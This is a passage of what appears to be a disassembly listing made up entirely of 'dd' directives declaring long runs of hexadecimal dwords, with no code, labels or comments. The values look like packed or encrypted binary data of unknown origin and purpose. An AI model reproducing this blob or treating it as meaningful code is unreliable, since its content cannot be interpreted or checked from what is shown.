		dd 0D3D80654h, 11A4F84Eh, 6800119Dh, 0E017D21Bh, 2E1224BBh
		dd 0C4A0074Ch, 4D3176E4h, 0E3BC8B20h, 18016D79h, 32EA9240h
		dd 28615161h, 0C6F586Eh, 71950BC9h, 87D9644Ch, 0A29B11FDh
		dd 0EA242B65h, 2A859CDEh, 18A4AC2Dh, 597ABBCBh,	31E98029h
		dd 609A82B5h, 2D57956h,	0E76A7EA0h, 7D35CA83h, 6DA78190h
		dd 4C1DF900h, 0BEC12234h, 585B615Ah, 2BDDA9E8h,	0CD2BEC99h
		dd 55B803F9h, 85017305h, 0CBAB0EF1h, 55DA4E58h,	2750809Eh
		dd 96992BC5h, 0C6DA8B25h, 2D5FB02Bh, 6FD331D9h,	0DE181679h
		dd 9FEE7828h, 5B0D1520h, 1AF6F89h, 0DB19BB1Ah, 0A23B4B2Ch
		dd 0C2A8B8h, 78A87D66h,	0CE827E88h, 87172EF7h, 6F8E1B9Bh
		dd 0C889AE85h, 0B4880AF2h, 49ED0774h, 62716991h, 0BBA52E68h
		dd 31C2B050h, 768D594Bh, 44EDFE30h, 527BD08h, 726A7C0Fh
		dd 50739DD8h, 44AF93D6h, 0FA880FFFh, 31E5DA99h,	995A5BF0h
		dd 9BCABA04h, 5FB88B98h, 5625626Ch, 64B1CDF8h, 0F0F4601Ch
		dd 896802B5h, 0E0E82D3Fh, 7A1FE7DEh, 0F7B2D6F4h, 33452100h
		dd 8FFF958Ch, 0FD90E20Eh, 3F2D2674h, 0ECAA6EAh,	79184C21h
		dd 791F658Eh, 4771080h,	0D8E7F712h, 3B325402h, 0DC5F5B51h
		dd 1446D4EFh, 5C60C12Fh, 0F125026h, 5AED188Eh, 0D83EC6C1h
		dd 90B96EF5h, 4F09BBC0h, 5B4D5C0Bh, 39AF966Dh, 0EB68842Fh
		dd 0BCAC567Bh, 0A7BFABA7h, 7D31970Bh, 4AE9DDC8h, 537A3EE1h
		dd 8220E813h, 540F3007h, 0C4EA1BE9h, 321DE188h,	0F9CF8E6Eh
		dd 496A3Ah, 1519DAADh, 9C86C289h, 3850877h, 0C1AA62Ch
		dd 1CCC7D2Fh, 0A2A6DF04h, 0E7B84102h, 771A10A2h, 9500B635h
		dd 21432FE9h, 898CD352h, 30264B9Ah, 0B5315DDBh,	9D0A9289h
		dd 3854DB51h, 0DC005AA3h, 1B4D5D51h, 1897294Fh,	95C780E3h
		dd 292FE8CCh, 0A709D59Dh, 15599C5Bh, 96D42019h,	0ECF9504Eh
		dd 250EB71Eh, 9FC0BCEDh, 0B560D6D7h, 2DCFEE08h,	615650E4h
		dd 0CC205A96h, 12B7B84Ch, 0E30DD204h, 0B989508Eh, 639C0C4Bh
		dd 0C88A5E0Fh, 0E5B5D3D2h, 59AF50EFh, 0AB1BE905h, 0A3EF31B5h
		dd 8CBF095Ch, 0C8385D64h, 0CD9D09E9h, 6018E48Ah, 4A302F3h
		dd 0FA8BE3EFh, 495FB8F8h, 9E12BC30h, 678D096Dh,	0D9E75070h
		dd 0C6D46FA9h, 161B02FBh, 0B5575B41h, 801C9150h, 1779C69Dh
		dd 7E3A0F8Ah, 8160C55Ch, 14B0E1EFh, 4ABD7F48h, 0E70561C9h
		dd 0AD4B86B9h, 18EE829h, 30DA8AB7h, 61F5B06Eh, 26612BE7h
		dd 956F8D29h, 6B2EE807h, 64F66D0Dh, 9F83601Bh, 42FA0280h
		dd 9607218Bh, 560A7DCh,	898A3h,	6F503C4Fh, 0B355D019h
		dd 57445217h, 0D754D0BFh, 0AE0180D3h, 59487ADFh, 23505061h
		dd 0E201B10h, 385111C3h, 3FAE80FDh, 96FC30B8h, 0C4494D9Fh
		dd 0B6C8FF74h, 371B1355h, 6312AFC0h, 0A22BAEA1h, 0BD21A820h
		dd 0DC59B289h, 7F2212ADh, 0A0F00280h, 4809AB90h, 710DFF23h
		dd 2E7846C8h, 0DC76D4BDh, 2E645600h, 25B92CC4h,	0A8FB260Fh
		dd 1DA108E8h, 52167124h, 10038EF2h, 91B0C1DCh, 0A1D80AD8h
		dd 0AE47FAB6h, 7A353557h, 5BC882BEh, 813651F5h,	78947DFAh
		dd 9C67E454h, 0DB00E773h, 0C32F6977h, 5973316h,	458FE3BBh
		dd 0AC20AA59h, 27ED0EE0h, 0D9619674h, 12C04A19h, 0EEE35F53h
		dd 0F0D2862h, 0B00AED0Ah, 224B1852h, 77D55CB1h,	9D23024Ch
		dd 0DF5545D1h, 0E55D8662h, 5552560h, 2968A379h,	4B7C2D7Eh
		dd 4FB0AD8h, 312FDBACh,	799540D8h, 2390EB62h, 2500E51Dh
		dd 982FF8A3h, 167830F4h, 0AA0504C0h, 0E95F2C30h, 0F40997AFh
		dd 0CD71E8D3h, 24076330h, 8A0BBE3h, 6013345Dh, 813634EFh
		dd 20908E81h, 5EBF6138h, 0F302DE10h, 99DFE30Bh,	5E6D7812h
		dd 0B114BC34h, 0AA041D75h, 86ECE3C0h, 0B1600550h, 8C8D0F41h
		dd 0D809B864h, 85906195h, 0B6EF6A99h, 3912E007h, 7DFB0962h
		dd 4A03712Bh, 4C4FA39Dh, 0D305336Eh, 0C1EF0D78h, 8244B73Fh
		dd 18FED5E0h, 809DB706h, 0C2E751A6h, 909540C4h,	926422h
		dd 0AC85F146h, 0EBC85ADBh, 50D74904h, 2CBC4430h, 0FEA6E4Bh
		dd 0C0F61393h, 751DA8D3h, 0A2BF1307h, 3200FA2Eh, 0CE92F8BBh
		dd 2EDEB738h, 0E76D00F4h, 0EFB854AEh, 1E2CABEEh, 50B6F78h
		dd 92969216h, 775BFDC9h, 94CE757Ah, 0D7132F90h,	6A78D62h
		dd 37CF6BA0h, 927C402h,	5E7780D2h, 0B526F6Ah, 96D72E4Ah
		dd 0D44FB6DFh, 9B8B6C01h, 44D69403h, 146A086Fh,	376DFF1Dh
		dd 9DD5097Ch, 1B654682h, 44D69C57h, 5602BF95h, 6A416ECEh
		dd 874D402h, 57010869h,	2436F781h, 0FB605DD5h, 9E82290h
		dd 0AEA3B304h, 94FF4738h, 0D917AABBh, 0B9FE30AFh, 2132A90h
		dd 7E30B2F4h, 5E8D76h
		dd 0E771BA81h, 3EC211A2h, 0C2E0BC25h, 0DC6ED671h, 0A5978B5Ch
		dd 0E86ABFh, 0DCACB6Eh,	1C05E4B9h, 90BD29F0h, 25E93D1Dh
		dd 928FE50Ch, 36FD55DFh, 9D00B3BCh, 1899055Fh, 1C511DFCh
		dd 0E5C9BD09h, 0D301D03Dh, 475F0F49h, 0AF73352Fh, 5565B020h
		dd 4D8E076h, 9AE53097h,	0EBC5C150h, 3EF921D3h, 0ADF0EBB6h
		dd 0C02D5149h, 42BD7927h, 551602F1h, 162A0D09h,	906BAF29h
		dd 0AEC0AB59h, 0ABD350D0h, 5E900D0Eh, 0DDC8522Eh, 4D0A04A9h
		dd 0AFFAF592h, 330B757Ah, 6B81B98Dh, 7B14220Dh,	0E4F0DEB6h
		dd 0B2025D74h, 0F42F84F8h, 0C04FC0C9h, 15B09780h, 0F800142h
		dd 0B0DE25B7h, 0E601BC70h, 87EB8070h, 0F06071E4h, 90B40D1h
		dd 347D8D16h, 20CD8ABCh, 12266845h, 0F88C8B6h, 788E0217h
		dd 0F102E9BEh, 4AABE65Fh, 915BD80h, 5D5B95B7h, 0B9520B98h
		dd 0D520BB05h, 1DD55F5Ah, 5A18B81h, 0D7DFBC05h,	890A4AAFh
		dd 0F7804191h, 2F002F99h, 6777E781h, 0D5395C8Eh, 5A107D10h
		dd 0FBE5B7E1h, 62B7D1ECh, 192D1EE8h, 3DB6E903h,	79982B4Dh
		dd 118A771Bh, 0D78BB28Bh, 2404CA45h, 0BB1E2Bh, 50858B1Ah
		dd 474F554Ch, 47A585E1h, 3C6052C1h, 0C9FED6EAh,	9FA33B8Dh
		dd 61FC8A0Dh, 1BF1C232h, 4AF1C500h, 0C8C385Dh, 0D8E3F668h
		dd 1C5A3D62h, 0E22E6F3h, 15D9DAC4h, 0FEB24948h,	6B755EDEh
		dd 11971178h, 0B9143468h, 0D1578967h, 0BD2B8621h, 6FB07999h
		dd 3F7A9551h, 8D1DD9E7h, 8101E059h, 43413EE6h, 602F6109h
		dd 187C8279h, 8A8B379Dh, 1785CE7Fh, 0FE4CD485h,	9B09B86Fh
		dd 0B05D01C0h, 41859D4Ah, 0B5CE9813h, 4EDDB965h, 0E894980Fh
		dd 0F7C89601h, 97DF81FDh, 0DB9C162Fh, 0BF2780A9h, 6E3D9775h
		dd 9107964h, 71F88BFCh,	89D82D6Eh, 8D6B0E41h, 112DECAEh
		dd 607BDCBDh, 0B63E7CA4h, 733DC20Bh, 413FDDDDh,	656B30ADh
		dd 0E83F02DEh, 0F0863A02h, 0DF702553h, 0C0A262E8h, 4D771495h
		dd 6729C8FBh, 0F422E9A0h, 4DD705CDh, 0EDCCEBD8h, 5A2A1809h
		dd 7D0E8B21h, 0A98DF038h, 0D3702FFBh, 4BC18529h, 0C0B4CB12h
		dd 3F5ABABBh, 8F949756h, 3D975370h, 80B21FFBh, 0BA7AA1F2h
		dd 98813E8h, 2AD200FBh,	0ABFEE5CCh, 0F300AD4Eh,	0DD566C03h
		dd 586A46BDh, 0CA09275Fh, 41185B02h, 0D3B51AB3h, 0D98504C8h
		dd 68B82421h, 0B3409FA3h, 2C409996h, 5CC809BFh,	73790C48h
		dd 1802A245h, 571AA995h, 59449F1Ch, 20604A57h, 3F78452Ch
		dd 3F7023Eh, 5A402530h,	5F619050h, 7CBF0560h, 0EB186FA4h
		dd 0E321D0C8h, 256A6B1Dh, 2FBEC600h, 3DE8408Eh,	0C5254BB8h
		dd 4518E61Ah, 31A52128h, 18762ECDh, 95757FECh, 356B84D1h
		dd 2FD18530h, 5908EA7Bh, 0E6D6270Eh, 0E11870D6h, 0D1093B08h
		dd 7CF46EECh, 263D4032h, 0F0E13C1Fh, 56098840h,	0DD0FEAC1h
		dd 0BD0B6818h, 5625CD5Eh, 0F78CD8BFh, 7935C500h, 6B5E6809h
		dd 0AD1B48B6h, 0E05CDA25h, 0A91EA11Fh, 2DE7EA4h, 2A0D75DEh
		dd 0AA54C47Dh, 41186FA5h, 30143679h, 1B0066B0h,	533F512Eh
		dd 9D5B5F57h, 1A5919D3h, 6302A318h, 3154EDC1h, 73C5E11h
		dd 35F90FE9h, 0BDBEC886h, 96EA55Dh, 7B0BD380h, 0AD88151Eh
		dd 1B452581h, 25982B55h, 1DD21BDh, 1082DC49h, 2511581Dh
		dd 0FDFDCAFAh, 2940A8EFh, 43E019Ch, 949F77E1h, 89F905D2h
		dd 0DB8DB5EAh, 385FBB97h, 128CBF19h, 0E101F3CAh, 0B19B7AC8h
		dd 9D9A5680h, 0C50EB3E0h, 0C53CBF96h, 38F82B81h, 0A758F83Dh
		dd 0F7224D18h, 0B97F9B7h, 1EBD57C3h, 275759A7h,	0FFA7B63h
		dd 618D6802h, 6D243BB9h, 35D13B72h, 8F6ECFh, 57E11EF2h
		dd 260E45EAh, 91C55FC8h, 1FBF1F71h, 8D5549C7h, 2CBFD5BBh
		dd 0DD50320Ah, 0BD38784Bh, 0A8A23352h, 40D8CFDDh, 857797A5h
		dd 5EFD923Ch, 0BF6220BFh, 8000A4E4h, 66605B7Fh,	17CE54BBh
		dd 0B5AD9D89h, 0E00BC5D0h, 0CB60471h, 5E2F198Bh, 0E7817830h
		dd 95780109h, 44735911h, 0B18F8C33h, 4BE92340h,	0B083E743h
		dd 5B965822h, 0C29FAC78h, 5C32F380h, 0BA4A7776h, 0DC5709D6h
		dd 0C3EDAB1Eh, 578AD6C2h, 0EF605F16h, 13B1BF49h, 0E22752E2h
		dd 0AB03DDC5h, 1828AA7Ah, 9551B5D4h, 8D7B5840h,	1AFB0011h
		dd 0EB87F351h, 8C02C48Eh, 0C304D654h, 824FF995h, 0E299D23h
		dd 914C3757h, 6C2D8515h, 162FA0F8h, 57E15Ch, 20C59AAEh
		dd 7090C04Dh, 99B06F4Fh, 42545C62h, 0E7036912h,	2D962CB2h
		dd 0EE4C0811h, 50270222h, 0BB62605Fh, 0BD8E5E9Ah, 87C1C4DCh
		dd 0F6FE75ABh, 0BCC7A0E7h, 3DCA0EDBh, 0DF25450Bh, 0FE8525CBh
		dd 0AB865A9Eh, 0E45D877h, 0C52A6A78h, 9D092D80h, 614BF252h
		dd 62D0B89Ah, 3CE51AC0h, 71041286h, 112B5DCFh, 0D700D5B2h
		dd 53219F2Ah, 0BA4A4B15h, 0CD3E1DE7h, 9F652B4Bh, 0F823B385h
		dd 0D5DB7782h, 0FB4BCFE4h, 6EAB9F85h, 57D70071h, 916F9890h
		dd 0DA5CC017h, 0C67DA5BFh, 95BD6E4Ah, 98C18ACh,	0DE1F3816h
		dd 0B82A8455h, 0A2B7BEBh, 0AB29BDBEh, 0A51FB50Ah, 86355749h
		dd 0A5801C91h, 43F45940h, 4E3F5405h, 2AE3F8F9h,	1398A2Eh
		dd 245357BBh, 69173E3Fh, 0C64374BEh, 96580CB3h,	0E791646h
		dd 0F9672CBBh, 26BC314Ah, 0A95FBDB4h, 0F510C23Bh, 42514E5Ch
		dd 0B009B73Bh, 46623A1h, 6405607Ch, 154904D7h, 50F00917h
		dd 3271179h, 0A2E77850h, 4B0C5D8Fh, 24BC9E8h, 1AC8D89Bh
		dd 0F5217BC2h, 0C6B73BE4h, 2C6E9564h, 4060CD97h, 3C799DBDh
		dd 0C5035A18h, 852489B8h, 0F551422Dh, 0C9259A4Eh, 0E94B5E12h
		dd 1C6F827Fh, 0EB34D790h, 1CDCB1B6h, 364E0ACh, 0D9BD0986h
		dd 0C268B9FCh, 0D3C60AB7h, 2EB20F74h, 8496AC60h, 7995953Dh
		dd 787EE944h, 0C3648D4h, 0E900E17Eh, 0FF71F453h, 7B7B7h
		dd 0AB923343h, 0B5721242h, 5E4EDE25h, 0C900F464h, 0E4D2E5F8h
		dd 45AFA4h, 0F38161B1h,	1DDE7809h, 0BF4B1897h, 11010B53h
		dd 49F99004h, 0D88A6087h, 5061D781h, 0E2B32Bh, 4CE38190h
		dd 156BBFB4h, 83FD9D33h, 0A6D36A2Fh, 7A23907Bh,	2F660ED4h
		dd 0B7F27BC6h, 1B23A162h, 9903D20h, 0D2A22EDAh,	31B16C02h
		dd 0DE8FC0Dh, 7813B819h, 0E62E5AB5h, 3016A2D0h,	0B750F086h
		dd 24484A0h, 81BD4AB3h,	0F9E52D2Eh, 2CDDE103h, 8D89843Ah
		dd 2EC95EEFh, 0DE48F4FEh, 0E551743h, 1B2FBCB2h,	0D35A575Eh
		dd 3AD051ECh, 19B2EEF6h, 2DC3230h, 25694DEBh, 41EDD1FFh
		dd 3A5480E0h, 0FB190298h, 35D1C242h, 6F23C43h, 6F71F356h
		dd 20C78011h, 37B50226h, 0B81A0138h, 6A7BD445h,	7025B882h
		dd 0E0FE5028h, 9024406Dh, 0E60EBFF6h, 0F303ECB2h, 76E197E6h
		dd 192BD4C9h, 6682A402h, 0CC6080BFh, 815300C4h,	0B3C9EC7h
		dd 0E9255F13h, 71AA5C35h, 427125ACh, 93A9110Fh,	9E5E00Bh
		dd 0EFFFB500h, 95C06BCFh, 10079AB1h, 1FED821h, 6B708C20h
		dd 38D98B50h, 0A7204FA7h, 4B6A8Ah, 0A8904721h, 4201F8F5h
		dd 12498048h, 29AE1D3Dh, 4A5A384Ah, 0D4418A99h,	0E22A1991h
		dd 259AD628h, 7C8EF381h, 2BD33001h, 0CAA7B59Ch,	91E00431h
		dd 0BA4A61ADh, 0EB0F186Eh, 0B1A0830Ch, 0E59D89D2h, 0D780B3C2h
		dd 0D5A2C1ABh, 734F5FC2h, 0EDCAD54Bh, 306F90DFh, 0DAE20769h
		dd 0C0B68718h, 0A5E073CAh, 54C7CAB7h, 5328C4A0h, 0E04200AFh
		dd 0C18AE8A4h, 9BC615Eh, 12D99D08h, 3D29BB00h, 4BE61C7Ch
		dd 4D9A8870h, 0C7902C1Ch, 42481440h, 0B671E4C1h, 9D036086h
		dd 999510D5h, 80C2ECBAh
		dd 3845B93Ch, 35D99789h, 0C8B62430h, 3710BF57h,	104F36Bh
		dd 0BA5F8BABh, 850E31FEh, 89C00425h, 0F48FC381h, 0C46E4AE6h
		dd 5AA4A8ADh, 4A8B348Ch, 0F8A0D0FBh, 4D0FDB81h,	0A773611Bh
		dd 0C09760D1h, 11FDAA01h, 0E680C078h, 1AF641BDh, 0C9170E01h
		dd 55852914h, 2E5E1064h, 45BEE961h, 49FBA08Ah, 444C4E70h
		dd 0CAE139EFh, 6B8A0C9h, 0E9F9BB02h, 7A56235Eh,	0A5BD22EFh
		dd 32552405h, 0B52930DFh, 0F7B9F15Eh, 38DD3DC9h, 21E0C6Dh
		dd 0E8E4661Bh, 42765D31h, 25B8704Bh, 946C6379h,	5F0F84Fh
		dd 0B4088220h, 0BE600067h, 64404885h, 296118C9h, 858653E1h
		dd 0BB188C5Fh, 0AD01CE6Fh, 8BF27C38h, 0BD2900F9h, 92399609h
		dd 5A6EB3FDh, 0C0014CE2h, 0D424BC62h, 16BBF478h, 0FC81FB07h
		dd 0AFAAB95Bh, 78B7532Fh, 10240BDh, 0D471C9FAh,	2D8A56F7h
		dd 0FC70EAD3h, 9F6E12F9h, 80C4E3C5h, 0A7DA7B2Fh, 0FCD3247Ch
		dd 0C81088Dh, 37C02B0Bh, 13B8556h, 0A0D1BF23h, 51A42C49h
		dd 1DB50E4Dh, 75834EB0h, 0BB00EC31h, 3B56A64Ch,	0B2CF614Ah
		dd 3012454Ch, 614504DEh, 9675AD25h, 0D3A37104h,	14B2F0E6h
		dd 5EB7E230h, 2ABCF14Eh, 0BD614837h, 930E2B05h,	0B5E71DB6h
		dd 11FAF27h, 36099760h,	5C446951h, 21E22C5Bh, 118E37D7h
		dd 60AD8E1Ah, 0B316436Eh, 35D7A165h, 0DF59496Fh, 46D6045Ch
		dd 3BF90115h, 0D7B7E1FFh, 1F72282Bh, 2D690450h,	0CB3305Ah
		dd 227278Dh, 6A56FFD0h,	0B216E151h, 8C2FFA90h, 0C4E36DD9h
		dd 468ACC9h, 8FDBD89h, 4CC446ACh, 1E9EBB01h, 0C4FDA080h
		dd 0AC654235h, 0CCC99EEh, 6A578925h, 25D55088h,	0E6D96D16h
		dd 254EF0EBh, 9F5B5F5Bh, 1C0E0911h, 0D44F8863h,	0A3993EC2h
		dd 0B7628F56h, 0B74075BFh, 0A8BAF3DDh, 9E0DD0B7h, 13B7A7D6h
		dd 1930BB80h, 2706E668h, 9071D1C7h, 0F1CEA600h,	380859Dh
		dd 0A706D960h, 22C8FC98h, 0DB30BD90h, 0FD198881h, 0DB2E4F57h
		dd 604F8EECh, 0D593F24Eh, 0DE3A1C5h, 606555C6h,	40F06DA7h
		dd 72EF93Ch, 8D290E12h,	0BD1722ABh, 54DC4A55h, 4CEFA767h
		dd 12615540h, 0B73B12D2h, 718488B1h, 603A5F61h,	0F1F0988Dh
		dd 0EA59701h, 6EB4EED1h, 0BDCFBF90h, 2B6FF261h,	5077863h
		dd 21FF808Ah, 2044681Ah, 91B5B38Ch, 0C8E4A595h,	3EE217E5h
		dd 0D814A15Ch, 22DB776h, 0B7C652BFh, 1880D63Dh,	0CACCC160h
		dd 0B2BA0B78h, 538BC05Fh, 0A58935D7h, 3F1678ECh, 7F122596h
		dd 0DAA9F012h, 50C5B3D2h, 19DD0923h, 121566A7h,	0FA071597h
		dd 0DD1F9D49h, 1791F135h, 19828B81h, 81E82AADh,	4E35A996h
		dd 8FD190F1h, 0B26AAA49h, 9FE30074h, 0FFFA6720h, 0ACE4095Ah
		dd 8980BF28h, 0B70DEA6Fh, 0DA5BB527h, 0E3539519h, 38946F78h
		dd 0E6A56122h, 1B64F96Dh, 0E5D8CE60h, 1278F21Ah, 15B402FAh
		dd 8DB52232h, 0E9684768h, 0DE385E0Ch, 0B5DAC056h, 0A51679C8h
		dd 3A21E632h, 52E3A9D1h, 0EDD695DCh, 523A94DEh,	0E8449540h
		dd 2ABB5002h, 0D72873CCh, 91268364h, 0CD723129h, 0CE606FA3h
		dd 0BFBCE59Ah, 1012C4E4h, 5205612Fh, 0DBEB24A5h, 0B7F6564Fh
		dd 0DDF29CD2h, 0AA149185h, 9F354538h, 2C7D9410h, 85C34589h
		dd 0D2619BFAh, 0E2502EF3h, 0B7E31270h, 0A83FC41Eh, 6A97EEF2h
		dd 31E701CCh, 9495C22h,	7A2AF17Bh, 74A097B7h, 800E629Ch
		dd 0F2549A67h, 2384FEB2h, 8F28AB04h, 37E40AEBh,	59F736BFh
		dd 27B3730Ah, 2E2EE1F8h, 0BFC0C879h, 9337DE1h, 59A1739Dh
		dd 0B06B1916h, 509531B9h, 0D5389586h, 354ACB80h, 16ACBBADh
		dd 6E72178Ch, 1690BB62h, 8B8D25h, 0E7FD953Ah, 2DC435FEh
		dd 20ECCF4Ah, 5621EA02h, 0C2846158h, 4852EBBDh,	0B3797FF5h
		dd 9299658h, 70B7428Fh,	3188827Fh, 3C3D750Bh, 1ACC7102h
		dd 0B2CBE39Ch, 318E9406h, 0AD1C5F56h, 0A69D6A2Fh, 5287817Fh
		dd 24B82A1Dh, 69308FCBh, 0B9952599h, 122BFC8Eh,	81AADB6Dh
		dd 6FD0733Ah, 9B89172Bh, 80F48F46h, 4FDCB670h, 98A113E0h
		dd 2073B8E6h, 0EE607403h, 0F64B9D79h, 0EA5285ECh, 6A4A57CEh
		dd 9FD41656h, 0E2E6EF30h, 12069081h, 0B3B440EAh, 0BD0905A2h
		dd 0A9E30649h, 0B9224E72h, 8C1DBC10h, 56AD4300h, 830FBD5Ch
		dd 88652759h, 5D4A4258h, 0AE9352B2h, 3AB9D434h,	60458CC8h
		dd 0A085A6F0h, 62FD8A09h, 18C55696h, 72737355h,	0ED044DFBh
		dd 0FAA5800Fh, 0FB80D268h, 0C5488D10h, 25C1FBBDh, 0B5BDC54Eh
		dd 1F3A0045h, 921951E0h, 23842916h, 481D5609h, 0B52B8DCEh
		dd 821AEB47h, 0A5CD5F46h, 86D6B6E0h, 0C1AD0184h, 0F1B50997h
		dd 0C4FD2B30h, 1E9FA180h, 66B50584h, 0E6020016h, 0AD7FDA63h
		dd 0D500D31Ah, 0A2E58885h, 48F58D17h, 3448114Bh, 0B8BC354Dh
		dd 2B78110Bh, 0C4AB2862h, 0A2EEB460h, 8ED50012h, 1676430Eh
		dd 73955C88h, 0C4385A17h, 4003C18Ch, 0A14BEAE5h, 0AA784B11h
		dd 655E2E6Ah, 3FDFE0E2h, 5BD8A926h, 57318D0Bh, 0CCADD3B7h
		dd 4AB60762h, 54BB667Ch, 0D324B8B8h, 0ECFF20ABh, 770E7A9Ch
		dd 1CC7C3EEh, 5B2631C7h, 0D1F9E990h, 69C91202h,	8838E2D9h
		dd 95898234h, 0B7550D4Dh, 801A9180h, 831F93DCh,	7B6425A9h
		dd 0E78038C0h, 2E8F744Bh, 37B01E56h, 34260EB9h,	1D08AFD4h
		dd 0A8E90925h, 102D8956h, 0FCDF08FBh, 0C2E0C0h,	0B78FFA97h
		dd 8B5D91D5h, 0B79BC14Ah, 972DBC80h, 0DBFC612Fh, 14E39200h
		dd 0D6DC64BBh, 0EF73B568h, 30491959h, 265AB36Ah, 6860F650h
		dd 0BE02D27h, 0D61BEE5Fh, 0ED25F959h, 0EF9C0BDh, 0A65FCF74h
		dd 0E52EEC5h, 0C4B7DBAAh, 0D5C465B5h, 2FC53BBh,	917BE7F2h
		dd 0C6578A87h, 51B01619h, 0DB278995h, 65557274h, 0B5F82573h
		dd 90ABEF00h, 60503EB7h, 29815E0Fh, 0EAAC7F2Ch,	29906182h
		dd 6C9D9ED8h, 1EDB06ECh, 0A26B2868h, 0F2278BBEh, 405AAF07h
		dd 0DBE55331h, 3D847D4Bh, 0E804EDAAh, 4DCE1D8Ah, 0FB68D30Eh
		dd 569F6D1Ah, 1D46D648h, 639BAB00h, 0DF8DB139h,	0C2380316h
		dd 82EBD764h, 20FEBD49h, 25385627h, 9B7053DBh, 799504DEh
		dd 0B8FA5E84h, 4AD3A351h, 0BCBCAD2Ch, 890953Fh,	3100281Eh
		dd 11A7459Dh, 1EAB36Dh,	2332CC29h, 6B52C4A9h, 6A5F8102h
		dd 0E02DCD02h, 8AF26F63h, 9866B709h, 0CC107F75h, 8C3FE0C4h
		dd 0DD5592B0h, 505B7F44h, 9C9378Ch, 7FB769EFh, 0B74DE929h
		dd 0B73C80CFh, 249F6178h, 607A71DEh, 76A1E0Dh, 267B0A2Ch
		dd 0A9CC920Bh, 6004CFCEh, 43CBEDCEh, 0D5B3DD04h, 38ABD2E9h
		dd 0FC906182h, 6BD0AE9Bh, 0DC540BE2h, 0F676DD65h, 9014BB01h
		dd 362E5D2Dh, 0F93A1CC7h, 0C48B2D50h, 51C70A35h, 0A5AC3E95h
		dd 0D720BAD5h, 8D00A635h, 0D1600813h, 26F725CBh, 0F454D991h
		dd 7D0049A1h, 848AA61h,	90DBEE1Fh, 52520D0h, 60AE5B4Ah
		dd 2CCB81FDh, 12C2BE58h, 0EDE734D1h, 31AF205Ah,	9701EF77h
		dd 0FCB5D9C1h, 0B730FF6Ah, 462A4AB9h, 43037924h, 2C95B517h
		dd 8EA088A7h, 61008912h, 3586397Eh, 0F88074DCh,	9F319788h
		dd 0C008C2D7h, 0D5B0DB0Ch, 16CDE6F7h, 0ACF570E6h, 95EF104Bh
		dd 54A5BD88h, 0E99D858Fh, 9D8EB30h, 1AF364B3h, 0C193A471h
		dd 0D9D10797h, 0BA512FE7h, 0B52AFCB8h, 0F846FA9Bh, 33712E00h
		dd 0FC4DFF8h, 0ED7950A0h, 0D3F60918h, 205007B1h, 97611640h
		dd 21BD3B5Ch, 0D1053C03h, 0C8CD8531h, 4C9C622Eh, 25266D42h
		dd 0FF07AA85h, 0FD622950h, 50715C09h, 56212C78h, 0A09114Fh
		dd 637E9F9h, 71DA8A09h
		dd 6664A56Ch, 13312544h, 0AB1FB5BDh, 2FF9BE28h,	0D1AA9D0Bh
		dd 0B24B2026h, 0BC0C5A90h, 9B33A008h, 0DEA29618h, 0D98A3C12h
		dd 0BA5F94FCh, 8612916Fh, 4A63E3F8h, 0A85E38A3h, 131920B1h
		dd 811DB529h, 555FB965h, 0B879BDF5h, 55ECA06Dh,	886CB52Ah
		dd 0D4809Ch, 1DFA3D73h,	59B501FCh, 0C02B53C3h, 0E6FD84BAh
		dd 97C61ECh, 29D75702h,	0D515FD9Dh, 0B5959EBEh,	0BFC90027h
		dd 72CC2137h, 0C27843BBh, 1F9E3ECAh, 0B25609A7h, 0D8F3D864h
		dd 5AD9B750h, 0D776B22Eh, 62A88BADh, 0A4109C01h, 0D28DA20Bh
		dd 0F651FEh, 54348E9Bh,	650084FEh, 0C5E47935h, 1266310Ah
		dd 0E2861CBFh, 0B2BAB48Fh, 7E7C9034h, 0C2DEB84Ch, 0F5BBA5BFh
		dd 810B54CCh, 0D72C58DBh, 0B8DF5604h, 1BA8A227h, 0EC56B9F7h
		dd 0DC0BECEh, 27579442h, 34149722h, 5C04A325h, 67F6F433h
		dd 66B2409Dh, 8A394B84h, 603D3454h, 0CB58DBAFh,	40E5D86Fh
		dd 37B56019h, 0BB9F0051h, 4BCA51F3h, 0FC85C101h, 84DB531h
		dd 2D9EAC04h, 11E152F8h, 842C85BDh, 7AEB01C7h, 0E046020Ah
		dd 0C2F88A60h, 3457503h, 28D54258h, 39E21BFEh, 2009BB40h
		dd 35557A0Eh, 9795A322h, 0AB99FED9h, 3D33C82Bh,	0E8D59C0Fh
		dd 0F46E178h, 256F4012h, 3320BB4Dh, 233FDFh, 0B9E30D24h
		dd 0EA078AE2h, 1BD6D513h, 8B0416B8h, 0EF585AFEh, 0E082B6D8h
		dd 9E693E74h, 9158737h,	2361B5FCh, 1675C1BDh, 789FE0A3h
		dd 0FC752CD9h, 624BFD16h, 0E00D6F09h, 0DF068B1h, 5376C79Ch
		dd 0FE366BD4h, 5C1044ADh, 0A522B00Fh, 0DED42B6Ch, 0B7A1008Ch
		dd 20E5D647h, 41AAB7D7h, 0D89F0F00h, 0D4A63E76h, 3210BAE0h
		dd 0C01C3F2Dh, 9590CBF7h, 1564516Dh, 70909A61h,	60880A1Fh
		dd 40AD982Bh, 0EE058A04h, 258D2961h, 0FEEDD5FBh, 5E008A7Fh
		dd 90FF107Dh, 0B849E9B0h, 6DF5F9AAh, 0E7FE122Eh, 6E40B03Dh
		dd 0F37C80h, 18BB8F8Eh,	16DB652h, 9998516h, 0B1D2A1ADh
		dd 5A257825h, 522BE4B5h, 0F07FB6CAh, 4BC21D1Fh,	30C58D52h
		dd 74081D3h, 1583BF89h,	0EBF51CD5h, 0D0B7B48Ah,	4AFE220Bh
		dd 0EAB03412h, 0A829B6E1h, 0F5004EB8h, 22D4C6CEh, 0B673B750h
		dd 665600E2h, 5FEDDFBBh, 9C8DFC4Bh, 21F1823Fh, 0A54C6800h
		dd 20245EF1h, 0B956701Fh, 0C7691F18h, 91166A44h, 0A6B307A4h
		dd 195449EEh, 8D0D17DCh, 9A7EFB85h, 22FF6428h, 9D710839h
		dd 0C4500DCBh, 0FD58039h, 0CD940070h, 7DDA899Dh, 639AECB4h
		dd 150BBBA2h, 0E694CF6h, 901A4B45h, 971B6D73h, 1591B237h
		dd 50097280h, 5B27DC8Ah, 70595B61h, 3407E978h, 0ACC55E69h
		dd 4B53F8E9h, 9CF8BBAh,	62FDB509h, 0C06DF575h, 93C15713h
		dd 84C346E9h, 0D2319BEAh, 21E132BAh, 40C342DDh,	0B5153557h
		dd 95741867h, 0BD2AC4FAh, 0CAC99D15h, 457371FBh, 0DB9056F5h
		dd 0AAB38407h, 7087E1ABh, 3C52EF30h, 59C2CCD3h,	19C77D81h
